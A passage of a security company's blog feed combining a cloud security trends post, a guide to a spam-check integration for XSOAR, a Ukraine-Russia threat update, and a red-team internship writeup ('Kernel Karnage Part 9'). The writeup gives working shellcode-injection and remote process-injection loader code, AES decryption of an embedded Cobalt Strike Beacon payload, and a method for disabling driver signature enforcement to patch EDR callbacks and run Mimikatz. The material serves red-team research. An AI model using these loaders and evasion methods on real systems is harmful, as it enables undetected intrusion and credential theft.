5. Conclusion

Programmatically loading drivers has its challenges, but it goes to show if you’re willing to mess around in memory a bit, Windows security components can be bypassed with relative ease. A lot of existing research and exploits are already out there and Microsoft has put in little effort to mitigate them or update existing functionality like Code Integrity to be better protected against attacks. Even if additional patches have fixed certain issues, chaining different exploits together still gets the job done.

I’m still busy investigating the exact workings of QueryCiEnabled() and QueryCiOptions() as I would like to remove dependencies on hardcoded offsets or external libraries/tools like Hacker Disassembler Engine 64. Once this process is complete, I can move on to optimizing code for OPSEC purposes, for example implementing direct syscalls as much as possible, and then convert the final result to a Beacon Object File for Cobalt Strike.

About the authors

Sander (@cerbersec), the main author of this post, is a cyber security student with a passion for red teaming and malware development. He’s a two-time intern at NVISO and a future NVISO bird.

Jonas is NVISO’s red team lead and thus involved in all red team exercises, either from a project management perspective (non-technical), for the execution of fieldwork (technical), or a combination of both. You can find Jonas on LinkedIn.

4 Trends for Cloud Security in 2022

7 February 2022 at 13:25

The migration from an on-premises environment towards the public cloud started years ago and is still going on. Both governmental agencies and business organizations are in the journey of migrating and maturing their cloud environments[SW1] , pulled by the compelling need for streamlining, scaling, and improving their production.

It won’t potentially come as a surprise but moving to the cloud comes with new security challenges, and the more cloud environments grow, the more new concerns will rise. The main question that comes up is: are you properly protecting your cloud and its data against breaches due to an insecure state?

In this blogpost, we will try to provide answers to that question by formulating several key steps on how to ensure that a cloud environment is securely configured. From our experience as cloud security consultants, we notice that several organizations already started this road in one way or another but really encounter difficulties in reaching the maturity of having a structured approach combined with the required expertise.

Continuous Security Assessments

For those who started using and securing the cloud a while ago, misconfigurations are something of which today everyone is aware. However, these still happen very frequently even with companies that have had a Cloud-First strategy for years. The IBM Data Breach Report of 2021 even lists cloud misconfigurations as the third most common initial attack vector for data breaches, after compromised credentials and phishing. Thus, it is essential for an organization to spot existing flaws and new misconfigurations on a timely basis. An effective method to understand the state on a certain point in time is performing cloud security assessments or config reviews. If those are being executed periodically, it enables an organization to compare with previous reviews and confirm that the most critical findings are solved.

There are several sources of security best practices, benchmarks, and checklists against which public cloud customers can rate their cloud security posture. Widely used benchmarks are those of Center of Internet Security (CIS), which we extended with additional best practices and controls for our own cloud security assessments.

Some of the key topics we review during our Cloud Security Assessments.

Despite this, such assessments do not offer a real-time overview but are rather a snapshot of the configuration at a certain moment in time. Furthermore, these are often analysis made on sample checks, and not on the entire environment. The purpose is to make Operations and Security Operations teams aware of what is wrongly configured and what represents a threat to the company. What happens after the assessment? How do you ensure those flaws do not come back while creating new cloud environments? Will you learn the lesson and improve your security by design while engineering your environment? How?

Cloud Policies Deployment

Considering this, cloud security did a step forward. In few words, security experts started working on creating policies to monitor security and compliance across their cloud environments in an automated way. This is usually done via native tools like Azure Policies for Microsoft Azure, AWS Config for Amazon Web Services, and Google Security Command Center for Google Cloud Platform.

Native policy management solutions on major public cloud providers.

The benefit is huge: thanks to proper policies, one can manage compliance in the cloud by centralizing rules and adapting them to different purposes, for example, depending on production, corporate, sandbox environments, etc. Note that a basic set of policies from several of the largest frameworks and benchmarks (e.g., CIS Benchmark) can be configured out-of-the-box for the three largest cloud providers.

In this way, you will get more visibility and, in some cases, will allow you to automate remedies against violations or enforce security controls.

If your organization has today a fully implemented policy compliance monitoring setup, you can breathe a sigh of relief, but there is still work to do! Policies need to be reviewed, updated and extended when necessary. Most important, the tools offered by the major public providers are limited in their  multi-cloud environments applicability (for instance, Azure Policies can only onboard AWS Accounts, but no GCP or others).

How do you extend the same policies from a tenant to another? If you are using more than one provider, how difficult is it to re-adapt policies throughout your entire environment? Things might even get more complicated over the next years when policies need updates and continuous maintenance.

Replicability of your Secure Cloud Setup

As part of security improvements, leveraging Infrastructure as Code (IaC) can be a significant step towards deploying new cloud resources using Security and Compliance by design. IaC is not an only-security solution, but its usage in security is today highly recommended.

In the specific, it already becomes fundamental when an organization relies on multiple tenants across the globe, making it almost impossible to have a centralized visibility and ensuring cross-tenant compliancy.  

What exactly is IaC used for in cloud security? IaC allows you to codify your resources setup according to (also) security best standards. By replicating these codes, you can maintain your desired level of security and setup, keeping the coded configuration as minimum security requirements. This can streamline deployment of new environments and better control existing cloud workspaces.

Although public cloud providers offer their built-in solutions (see Azure Resource Manager, AWS CloudFormation and Google Cloud Deployment Manager), there are top-quality external IaC tools that perfectly work with all Azure, GCP and AWS. For instance, HashiCorp Terraform, VMware SaltStack or RedHat Ansible.

Some of the most common open-source solutions for Infrastructure as Code used to create cloud environments.

The challenge of multi-cloud protection

So, what is next? Did you really flag all the checkboxes? This is already incredibly good! But as the business needs and features evolve, so does the cloud and its security.

More and more organizations are working for a multi-cloud structure, meaning that rather than relying on only one public cloud provider, they are investing on – at least – a second solution. Reasons for this are multiple: for exit strategy, for third copy backup, for different knowledge of cloud providers in different geographical areas, and so on.

What really matters from a security perspective is that working with multiple cloud providers adds an extra level of challenges, as we need to ensure that similar security standards and compliance modules are respected across different platforms. This is something that few tools can ensure, due to the lack of interconnectivity across solutions and specific features necessary to such particular scenario.

Here Cloud Security Posture Management (CSPM) is called in.

All the security tools mentioned so far do not replace the previous one, rather they integrate each other and add a further layer of prevention, detection and response to security misconfigurations and breaches on the cloud.

The ultimate solution to manage security misconfigurations, secure policy setup and cross-cloud security management is CSPM.

What exactly is Cloud Security Posture Management?

According to Gartner’s definition, CSPM is a new category of security products that can help in improving visibility, centralizing security monitoring, improving automated responses and provide compliance assurance in the cloud.

Although Gartner’s article dates back to 2 years ago and CSPM is already on the market since a while, this is the right moment to start planning its deployment in a proactive way to avoid loss of control on multi-tenant, hybrid and multi-cloud environments.

2022 will be an important year for cybersecurity and for the cloud: working habits taken during the emergency of the pandemic are consolidating and are projecting the work environment towards an always more decentralized and remotely connected network, cross-country collaborations, shared working, and production environments that find fertile ground in the cloud and in its complex and articulated deployment.

In light of this, tools that can facilitate and streamline our work keeping and improving a high security posture are crucial for a seamless progression of the business world.

In conclusion

Depending on one’s security maturity, one of the steps here described can be the milestone you are currently checking. Nevertheless, it is important to plan what’s next and act proactively towards the deployment of the right solutions, pairing the production needs to their related security concerns and tackle them in advance.

We at NVISO observe different level of maturity over several customers and, in light of this, consider Policies, IaC templates and CSPM the goal on which we have to hardly work together in the next year.

About the author

Alfredo is a senior consultant part of the Cloud Security team and solution lead of Cloud Governance Services. He has an extended knowledge of Microsoft security solutions, applied on Azure and Microsoft 365 bundle. On top of that, Alfredo is keen on cloud solution innovations and thanks to this he developed an in-depth knowledge of several solutions on the market related to the most modern and secure ways to keep the cloud infrastructure safe from threats.

You can reach Alfredo via his LinkedIn page.

Automated spam detection in Palo Alto Cortex XSOAR

21 February 2022 at 13:05

Introduction

With our Managed Detect and Respond (MDR) service at NVISO we provide a managed Security Operations Center (SOC) for a large variety of clients across different industries. In our SOC, we rely heavily on automations performed by our SOAR platform Palo Alto Cortex XSOAR to minimize the manual tasks that need to be done by our SOC analysts. With our “automation first” principle, we have mostly automated all tasks of L1 analysis allowing our analyst to focus on actionable security alerts to faster detect attackers in the environment of our customers.

User Reported Phishing

 A common problem for all our clients is phishing emails. This still is the most common initial attack vector for successful intrusions in a corporate environment.  Through awareness campaigns, users are educated about the risks of phishing email and how to spot them. In the awareness trainings, they are encouraged to report suspicious emails for analysis.

As a part of the NVISO MDR service, we offer a managed phishing option to review all user reported phishing emails. If automated analysis and manual review by a SOC analysts have determined that it is a true positive, these phishing mails are deleted from all user mailboxes across the entire organization.

What we have seen in our SOC is that even though users have been educated on how to spot phishing emails, it is still difficult for them to make the distinction between phishing mails and spam. We estimate that over 70% of user reported phishing mails are actually spam. As each mail is still manually verified by a SOC analyst after automated analysis,  this generates a high workload in our SOC.

Automated Spam Detection

To decrease the workload of our SOC analysts, we have implemented an automated spam check against a privately hosted email sandbox. This sandbox has a built-in SpamAssassin deployment which returns a spam score. SpamAssassin is the #1 Open Source anti-spam platform maintained by the Apache Software foundation and is widely used to filter emails and block spam.

If the spam score is above a certain threshold, we can confidently say that the mail is spam. We automatically inform the user about the difference between spam and phishing and close the incident without any manual actions required.

Postmark Spamcheck XSOAR Integration

To enable you to implement this workflow yourself without the complex task of setting up and operating a SpamAssassin infrastructure, NVISO has created a Postmark Spamcheck XSOAR integration which you can use to get the Spam score of emails.

In this integration, we make use of the free public SpamCheck API created by Postmark:

https://spamcheck.postmarkapp.com/

This API allows you to send EML files to the Postmark SpamAssassin infrastructure without any cost for you.

The integration is available on the Cortex XSOAR marketplace and on the Demisto Github repository:

https://github.com/demisto/content/tree/master/Packs/PostmarkSpamcheck

The integration documentation can be found in the Cortex XSOAR documentation:

https://xsoar.pan.dev/docs/reference/integrations/postmark-spamcheck

Integration Setup

Open the Cortex XSOAR Marketplace, search for Postmark Spamcheck and install the integration:

Once installed, open Settings in XSOAR, Open the integrations tab and search for Postmark Spamcheck:

Click Add instance and set the name: leave the other settings to their default values.

Click Test to verify connectivity and click Save & exit:

The integration is now setup and ready for use.

Integration Usage

To get the spam score of an email, you will first need to have it available as an EML file in Cortex XSOAR. To do this you can use an integration such as EWS O365 from the EWS content pack to pull emails from a mailbox in Exchange Online.

Execute the following command to list emails available in the configured mailbox:

!ews-search-mailbox query="*"  selected-fields="subject"
!ews-search-mailbox results

Because reported phishing emails are added to the mail as an attachment, we need to retrieve the attachment with the mail itemId:

!ews-get-attachment item-id="AAMkADcwYmI0ZjcwLTI2NzItNDNhYi05N2Y5LThlZDkxOWUyZWE0YwBGAAAAAADtD+ENzUZfQ7HIUnhsJ9tOBwCOoK5ZS6vGTLYi98YtY9nrAAAAAAEMAACOoK5ZS6vGTLYi98YtY9nrAAEYi07gAAA="
!ews-get-attachment result

The entryID of the retrieve attachment is available in the Context Data:

Context Data

To only get the spam score of the reported phishing mail, execute the following command:

!postmark-spamcheck [email protected] short=True
!postmark-spamcheck result

To get a full report with all the SpamAssassin rules that were hit, execute the following command:

!postmark-spamcheck [email protected]
!postmark-spamcheck result

The results of the postmark-spamcheck are also available in the Context Data which can be used in playbook:

Context Data

Based on the score returned by the postmark-spamcheck you can determine a threshold where you can confidently say that the reported phishing email is spam and take actions in your playbook accordingly.

Conclusion

In this blog post we introduced the free open-source Postmark Spamcheck integration for Palo Alto Cortex XSOAR created by the NVISO SOAR engineering team. This integration can be used in your playbooks for automated handling and analysis of reported phishing mails to determine the spam score and reducing the analyst workload in your SOC.

About the author

Wouter is an expert in the SOAR engineering team in the NVISO SOC. As the lead engineer and development process lead he is responsible for the design, development and deployment of automated analysis workflows created by the SOAR Engineering team to enable the NVISO SOC analyst to faster detect attackers in customers environments. With his experience in cloud and devops, he has enabled the SOAR engineering team to automate the development lifecycle and increase operational stability of the SOAR platform.

You can reach Wouter via his LinkedIn page.

Kernel Karnage – Part 9 (Finishing Touches)

22 February 2022 at 13:03

It’s time for the season finale. In this post we explore several bypasses but also look at some mistakes made along the way.

1. From zero to hero: a quick recap

As promised in part 8, I spent some time converting the application to disable Driver Signature Enforcement (DSE) into a Beacon Object File (BOF) and adding in some extras, such as string obfuscation to hide very common string patterns like registry keys and constants from network inspection. I also changed some of the parameters to work with user input via CobaltWhispers instead of hardcoded values and replaced some notorious WIN32 API functions with their Windows Native API counterparts.

Once this was done, I started debugging the BOF and testing the full attack chain:

  • starting with the EarlyBird injector being executed as Administrator
  • disabling DSE using the BOF
  • deploying the Interceptor driver to cripple EDR/AV
  • running Mimikatz via Beacon.

The full attack is demonstrated below:

2. A BOF a day, keeps the doctor away

With my internship coming to an end, I decided to focus on Quality of Life updates for the InterceptorCLI as well as convert it into a Beacon Object File (BOF) in addition to the DisableDSE BOF, so that all the components may be executed in memory via Beacon.

The first big improvement is to rework the commands to be more intuitive and convenient. It’s now possible to provide multiple values to a command, making it much easier to patch multiple callbacks. Even if that’s too much manual labour, the -patch module command will take care of all callbacks associated with the provided drivers.

Next, I added support for vendor recognition and vendor based actions. The vendors and their associated driver modules are taken from SadProcessor’s Invoke-EDRCheck.ps1 and expanded by myself with modules I’ve come across during the internship. It’s now possible to automatically detect different EDR modules present on a target system and take action by automatically patching them using the -patch vendor command. An overview of all supported vendors can be obtained using the -list vendors command.

Finally, I converted the InterceptCLI client into a Beacon Object File (BOF), enhanced with direct syscalls and integrated in my CobaltWhispers framework.

3. Bigger fish to fry

With $vendor2 defeated, it’s also time to move on to more advanced testing. Thus far, I’ve only tested against consumer-grade Anti-Virus products and not enterprise EDR/AV platforms. I spent some time setting up and playing with $EDR-vendor1 and $EDR-vendor2.

To my surprise, once I had loaded the Interceptor driver, $EDR-vendor2 would detect a new driver has been loaded, most likely using ImageLoad callbacks, and refresh its own modules to restore protection and undo any potential tampering. Subsequently, any I/O requests to Interceptor are blocked by $EDR-vendor2 resulting in a "Access denied" message. The current version of InterceptorCLI makes use of various WIN32 API calls, including DeviceIoControl() to contact Interceptor. I suspect $EDR-vendor2 uses a minifilter to inspect and block I/O requests rather than relying on user land hooks, but I’ve yet to confirm this.

Contrary to $EDR-vendor2, I ran into issues getting $EDR-vendor1 to work properly with the $EDR-vendor1 platform and generate alerts, so I moved on to testing against $vendor3 and $EDR-vendor3. My main testing goal is the Interceptor driver itself and its ability to hinder the EDR/AV. The method of delivering and installing the driver is less relevant.

Initially, after patching all the callbacks associated with $vendor3, my EarlyBird-injector-spawned process would crash, resulting in no Beacon callback. The cause of the crash is klflt.sys, which I assume is $vendor3’s filesystem minifilter or at least part of it. I haven’t pinpointed the exact reason of the crash, but I suspect it is related to handle access rights.

When restoring klflt.sys callbacks, EarlyBird is executed and Beacon calls back successfully. However, after a notable delay, Beacon is detected and removed. Apart from detection upon execution, my EarlyBird injector is also flagged when scanned. I’ve used the same compiled version of my injector for several weeks against several different vendors, combined with other monitoring software like ProcessHacker2, it’s possible samples have been submitted and analyzed by different sandboxes.

In an attempt to get around klflt.sys, I decided to try a different injection approach and stick to my own process.

void main()
{
    const unsigned char shellcode[] = "";
	PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
	DWORD threadID;
	HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
	WaitForSingleObject(hThread, INFINITE);
}

These 6 lines of primitive shellcode injection were successful in bypassing klflt.sys and executing Beacon.

4. Rookie mistakes

When I started my tests against $EDR-vendor3, the first thing that happened wasn’t alarms and sirens going off, it was a good old bluescreen. During my kernel callbacks patching journey, I never considered the possibility of faulty offset calculations. The code responsible for calculating offsets just happily adds up the addresses with the located offset and returns the result without any verification. This had worked fine on my Windows 10 build 19042 test machine, but failed on the $EDR-vendor3 machine which is a Windows 10 build 18362.

for (ULONG64 instructionAddr = funcAddr; instructionAddr < funcAddr + 0xff; instructionAddr++) {
	if (*(PUCHAR)instructionAddr == OPCODE_LEA_R13_1[g_WindowsIndex] && 
		*(PUCHAR)(instructionAddr + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] &&
		*(PUCHAR)(instructionAddr + 2) == OPCODE_LEA_R13_3[g_WindowsIndex]) {

		OffsetAddr = 0;
		memcpy(&OffsetAddr, (PUCHAR)(instructionAddr + 3), 4);
		return OffsetAddr + 7 + instructionAddr;
	}
}

If we look at the kernel base address 0xfffff807'81400000, we can expect the address of the kernel callback arrays to be in the same range as the first 8 most significant bits (0xfffff807).

However, comparing the debug output to the expected address, we can note that the return address (callback array address) 0xfffff808'81903ba0 differs from the expected return address 0xfffff807'81903ba0 by a value of 0x100000000 or compared to the kernel base address 0x100503ba0. The 8 most significant bits don’t match up.

The calculated offset we’re working with in this case is 0xffdab4f7. Following the original code, we add 0xffdab4f7 + 0x7 + 0xfffff80781b586a2 which yields the callback array address. This is where the issue resides. OffsetAddr is a ULONG64, in other words "unsigned long long" which comes down to 0x00000000'00000000 when initialized to 0; When the memcpy() instruction copies over the offset address bytes, the result becomes 0x00000000'ffdab4f7. To quickly solve this problem, I changed OffsetAddr to a LONG and added a function to verify the address calculation against the kernel base address.

ULONG64 VerifyOffsets(LONG OffsetAddr, ULONG64 InstructionAddr) {
	ULONG64 ReturnAddr = OffsetAddr + 7 + InstructionAddr;
	ULONG64 KernelBaseAddr = GetKernelBaseAddress();
	if (KernelBaseAddr != 0) {
		if (ReturnAddr - KernelBaseAddr > 0x1000000) {
			KdPrint((DRIVER_PREFIX "Mismatch between kernel base address and expected return address: %llx\n", ReturnAddr - KernelBaseAddr));
			return 0;
		}
		return ReturnAddr;
	}
	else {
		KdPrint((DRIVER_PREFIX "Unable to get kernel base address\n"));
		return 0;
	}
}

5. Final round

As expected, $EDR-vendor3 is a big step up from the regular consumer grade anti-virus products I’ve tested against thus far and the loader I’ve been using during this series doesn’t cut it anymore. Right around the time I started my tests I came across a tweet from @an0n_r0 discussing a semi-successful $EDR-vendor3 bypass, so I used this as base for my new stage 0 loader.

The loader is based on the simple remote code injection pattern using the VirtualAllocEx, WriteProcessMemory, VirtualProtectEx and CreateRemoteThread WIN32 APIs.

void* exec = fpVirtualAllocEx(hProcess, NULL, blenu, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

fpWriteProcessMemory(hProcess, exec, bufarr, blenu, NULL);

DWORD oldProtect;
fpVirtualProtectEx(hProcess, exec, blenu, PAGE_EXECUTE_READ, &oldProtect);

fpCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec, exec, 0, NULL);

I also incorporated dynamic function imports using hashed function names and CIG to protect the spawned suspended process against injection of non-Microsoft-signed binaries.

HANDLE SpawnProc() {
    STARTUPINFOEXA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    SIZE_T attributeSize;

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);

    si.StartupInfo.cb = sizeof(si);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

    if (!CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\svchost.exe", NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
        std::cout << "Could not spawn process" << std::endl;
        DeleteProcThreadAttributeList(si.lpAttributeList);
        return INVALID_HANDLE_VALUE;
    }

    DeleteProcThreadAttributeList(si.lpAttributeList);
    return pi.hProcess;
}

The Beacon payload is stored as an AES256 encrypted PE resource and decrypted in memory before being injected into the remote process.

HRSRC rc = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"PAYLOAD_BIN");
DWORD rcSize = fpSizeofResource(NULL, rc);
HGLOBAL rcData = fpLoadResource(NULL, rc);

char* key = (char*)"16-byte-key-here";
const uint8_t iv[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };

int blenu = rcSize;
int klen = strlen(key);

int klenu = klen;
if (klen % 16)
    klenu += 16 - (klen % 16);

uint8_t* keyarr = new uint8_t[klenu];
ZeroMemory(keyarr, klenu);
memcpy(keyarr, key, klen);

uint8_t* bufarr = new uint8_t[blenu];
ZeroMemory(bufarr, blenu);
memcpy(bufarr, rcData, blenu);

pkcs7_padding_pad_buffer(keyarr, klen, klenu, 16);

AES_ctx ctx;
AES_init_ctx_iv(&ctx, keyarr, iv);
AES_CBC_decrypt_buffer(&ctx, bufarr, blenu);

Last but not least, I incorporated the Sleep_Mask directive in my Cobalt Strike Malleable C2 profile. This tells Cobalt Strike to obfuscate Beacon in memory before it goes to sleep by means of an XOR encryption routine.

The loader was able to execute Beacon undetected and with the help of my kernel driver running Mimikatz was but a click of the button.

On that bombshell, it’s time to end this internship and I think I can conclude that while having a kernel driver to tamper with EDR/AV is certainly useful, a majority of the detection mechanisms are still present in user land or are driven by signatures and rules for static detection.

6. Conclusion

During this Kernel Karnage series, I developed a kernel driver from scratch, accompanied by several different loaders, with the goal to effectively tamper with EDR/AV solutions to allow execution of common known tools which would otherwise be detected immediately. While there certainly are several factors limiting the deployment and application of a kernel driver (such as DSE, HVCI, Secure Boot), it turns out to be quite powerful in combination with user land evasion techniques and manages to address the AI/ML component of EDR/AV which would otherwise require a great deal of obfuscation and anti-sandboxing.

About the author

Sander is a junior consultant and part of NVISO’s red team. He has a passion for malware development and enjoys any low-level programming or stumbling through a debugger. When Sander is not lost in 1s and 0s, you can find him traveling around Europe and Asia. You can reach Sander on LinkedIn or Twitter.

Threat Update – Ukraine & Russia war

24 February 2022 at 17:03

Last updated on 2022-03-17/ 8am CET

2022-02-25: added key historical operation: Cyclops Blink
2022-03-02: added note on spillover and recommendation
2022-03-03: added further information on attacks, updated recommendations
2022-03-07: added info on HermeticRansom decrypter and our mission statement
2022-03-15: added info on CaddyWiper and fake AV update phishing campaign used to drop Cobalt Strike
2022-03-17: added info on the removal of a deepfake video of Ukrainian President Zelenskyy

Introduction & background

In this report, NVISO CTI describes the cyber threat landscape of Ukraine and by extension the current situation. Understanding the threat landscape of a country, however, requires an understanding of its geography first and foremost.

Figure 1 – Map of Ukraine and bordering countries

Ukraine, bordered by Russia as well as Belarus has seen its share of hostile intelligence operations and near declarations of war. The annexation of Crimea, a peninsula that was officially recognized as part of Ukraine, was annexed by Russia early 2014: this was one of the first and larger “turning points” in modern history.

More recently, in 2018, Russia took it one step further after several years of absorbing Crimea as part of Russia, by installing a border fence to separate Crimea from Ukraine.[1]

In 2020, during several Belarusian protests targeted at Belarus’ current president Lukashenko, Ukraine recalled its ambassador to assess the prospects, or lack thereof, regarding their bilateral relationship.[2] Tensions increased further, and in 2021, Ukraine joined the European Union (EU) in imposing sanctions on Belarusian officials.[3]

In 2022, this tension materialized by Russia actively performing military operations on Ukraine’s border, and in February, the bombardment of several strategic sites in Ukraine.[4]

Historical Cyber Attacks

As mentioned, to understand a country, one needs to understand its geography and geopolitical strategy. A remarkable initiative from Ukraine is their intent on joining NATO as well as becoming an official member of the EU. These initiatives are likely the trigger for the recent turmoil, in December 2021, where Russia became openly bold, more aggressive and with ultimate goal as explained by Putin: to unify or absorb Ukraine back into Russia. In that same month, Putin presented to the United States and NATO a list of security demands, including Ukraine not ever joining NATO.[5] The intent of Putin is, as always, likely to have multiple dimensions.

This report will describe further history of cyber-attacks on Ukraine, a timeline of current relevant events in the cyberspace, and finally some recommendations to ensure protection in case of “cyberwar spillover” as was in the case of NotPetya in 2017.

As mentioned in the introduction, Ukraine has seen its fair share of targeted cyber-attacks. The table below captures significant Advanced Persistent Threat (APT) campaigns / attacks against Ukraine specifically.

Attack Group Attack Purpose Malware / Toolset Date
Black Energy (aka Sandworm) Disrupt / Destroy KillDisk / Black Energy 2015
Black Energy Disrupt / Destroy Industroyer 2016
Black Energy Disrupt / Destroy NotPetya 2017
Grey Energy (Black Energy successor) Espionage GreyEnergy 2018
Black Energy Espionage VPNFilter 2018
Unknown, likely DEV-0586 (aka GhostWriter) Disrupt / Destroy WhisperGate 2022
Unknown, likely DEV-0586 Disrupt / Destroy HermeticWiper 2022
Black Energy Disrupt / Destroy Cyclops Blink 2022*
Table 1 – Key historic attacks

Other attacks have taken place, both cyber-espionage and cyber-criminal, but the threat group “Black Energy” is by far the most prolific in targeting Ukrainian businesses and governmental institutions.

Black Energy and its successors and sub-units are attributed to Russia’s Intelligence Directorate or GRU (now known as the “Main Intelligence Directorate of the General Staff of the Armed Forces of the Russian Federation”). The GRU is Russia’s largest foreign intelligence agency and has therefore access to a vast number of resources, capabilities, and certain freedom to execute more risky intelligence operations. Note that APT28, also known as Sofacy and “Fancy Bear” is also part of the GRU but resides in a different unit.[6]

Specifically looking at the attacks targeting Ukraine in 2022, a timeline can be observed below:

Figure 2 – Ukraine 2022 timeline

Highlighted in blue on the timeline, are suspected attack campaigns by nation states, likely either Russia or Belarus. Highlighted in green are suspected attack campaigns by cybercriminal actors in favor of Russia.

Highlighted in red on the timeline, is an intelligence counteraction by Ukraine’s Security Service, known as the SSU or SBU. The SSU can be seen as Ukraine’s main government agency protecting national interests, but also has a focus on counterintelligence operations. On February 8th 2022, the SSU shut down a Russian “trolling farm” that had as sole intent to distributed “fake news” to spread panic. The bots also published false information about bomb threats at various facilities.[7]

NVISO CTI assesses with moderate confidence Russia and Belarus will continue destructive or espionage operations on Ukraine’s infrastructure and those who support Ukraine whether it be logistically, operationally, or otherwise publicly.

As of yet, spillover of these operations has not been observed in Belgium by organizations such as the Centre for Cyber security Belgium (CCB).[8] The UK’s National Cyber Security Centre (NCSC) in turn advices “organizations to act following Russia’s attack on Ukraine” and provides further guidance.[9]

Key historical operations

In a quick overview of the aforementioned pre-2022 attacks, the following are some of the key elements that contributed to their success, and which are important to take into account when building a detection strategy:

  • The attack on the Ukrainian power grid was prefaced with a phishing attack against a number of energy distribution companies. The phishing email contained a Word document that, when Macros were enabled, dropped the Black Energy malware to disk. Using this malware the adversaries obtained credentials to access VPN and remote support systems that allowed them to open circuit breakers remotely. In order to prevent the operators from closing the circuit breakers remotely again, a wiper was deployed on the operator machines.
  • NotPetya was initially deployed via a supply chain attack on Linkos Group. The NotPetya ransomware caused worldwide damages due to its highly effective spreading mechanism combining the EternalBlue (MS17-010) vulnerability, credential dumping from infected systems and PsExec for lateral movement.
  • GreyEnergy and its accompanying toolset was typically prefaced with a phishing attack, containing malicious documents that would deploy “GreyEnergy mini”, a first-stage backdoor. A second point of entry was via vulnerable public-facing web services that are connected to the organization’s internal network. The attacker’s toolset also contained Nmap and Mimikatz for discovery and lateral movement.
  • VPNFilter is a multi-stage, modular platform with versatile capabilities to perform a wide range of operations, primarily espionage but also destructive attacks. The malware installs itself on network devices such as routers and NAS, and can only be completely removed with a full reinstallation. Its current preface or infection vector is unknown, but it is assumed they target vulnerabilities in these network devices as an initial entrypoint. VPNFilter was a broad-targeting malware and campaign, but was responsible for multiple large-scale attacks that targeted devices in Ukraine.
  • Cyclops Blink is the “replacement framework” of VPNFilter and has been active since at least June 2019, fourteen months after VPNFilter was disrupted. Just like VPNFilter, Cyclops Blink is broad-targeting, but might be targeting devices in Ukraine specifically. As opposed to VPNFilter, Cyclops Blink is only known to target WatchGuard network devices at this point in time. Its preface is WatchGuard devices that expose the remote management interface to the internet / external access.

Current Cyber Attacks (2022)

WhisperGate

Starting on January 13th, 2022, several Ukrainian organizations were hit with a destructive malware now known as WhisperGate. The malware was designed to wipe the Master Boot Record, MBR, and proceed to corrupt the files on disk, destroying all traces of the data.

Initial execution of the first stage was completed using the Python tool Impacket, this being widely used for lateral movement and execution. Initial access to run Impacket is believed to have occurred via insecure remote access channels and using stolen/harvested credentials.

Once the MBR is wiped, a fake ransom screen is displayed. This is just to distract while the third stage is downloaded from a Discord link. Then all data is overwritten on disk.

Massive web defacements

Between the 13th and 14th of January, a coordinated web defacement on several governmental institutions of Ukraine took place – all websites and their content were wiped and replaced with a statement[10]:

Ukrainian! All your personal data has been sent to a public network. All data on your computer is destroyed and cannot be recovered. All information about you stab (public, fairy tale and wait for the worst. It is for you for your past, the future and the future. For Volhynia, OUN UPA, Galicia, Poland and historical areas.[10]

The SSU assesses the attack happened via a vulnerable Content Management System (CMS), and that “in total more than 70 state websites were attacked, 10 of which were subjected to unauthorized interference”.[11]

DDOS attacks on organizations

On February 15th, Ukraine’s Ministry of Defence (MoD) tweeted[11] that “The MOU website probably suffered a DDoS attack: an excessive number of requests per second was recorded.

Technical works on restoration of regular functioning are carried out.”

The attack was carried out on the MoD itself and the Armed Forces of Ukraine, but also on two national banks, which had as result that internet banking was not available for several hours.

DDoS attacks & the “HermeticBunch”

On February 23rd, there were two newly reported cyber events: DDoS attacks and an attack campaign we could name “HermeticBunch”.

NetBlock, an internet observatory, noted the DDoS attacks on February 23rd around 4pm CET. The attacks were impacting the websites of Ukraine’s MoD, Ministry of Foreign Affairs (MoFA) and other governmental institutions.[12]

ESET initially reported[13] detecting a new wiper malware used in Ukraine. Their telemetry indicated the malware was installed on several hundreds of machines with first instances discovered around 4pm CET. Symantec posted an analysis[14] the next day corroborating ESET’s findings, and providing more insight into the attack: ransomware was initially deployed, as a smokescreen, to hide the data-wiping malware that was effectively used to launch attacks against Ukrainian organizations.

ESET reported on March 1st [15] that multiple Ukrainian organizations were targeted by an attack campaign comprising:

  • HermeticWiper, a data-wiping malware;
  • HermeticWizard, spreads HermeticWiper over the network (using WMI & SMB);
  • HermeticRansom: likely a ransomware smokescreen for HermeticWiper.

These components indicate an organized attack campaign with as main purpose destruction of data. While the spreader malware, HermeticWizard, is worrisome, it can be blocked by implementing the advice from the Recommendations section below.

Note that AVAST Threat Labs has created a decrypter for files encrypted with HermeticRansom. [17]

IsaacWiper

IsaacWiper was first detected by ESET on February 24th [18], and was leveraged again for destructive attacks against the Ukrainian government. The wiper is less sophisticated than HermeticWiper, but not less effective.

DanaBot

DanaBot is a Malware-as-a-Service (MaaS) platform where threat actors (“affiliates”) can purchase access to the underlying DanaBot platform. Zscaler reported on March 2nd [19] to have identified a threat actor targeting Ukraine’s Ministry of Defense (MoD) using DanaBot’s download and execute module.

Fake AV Update leading to Cobalt Strike

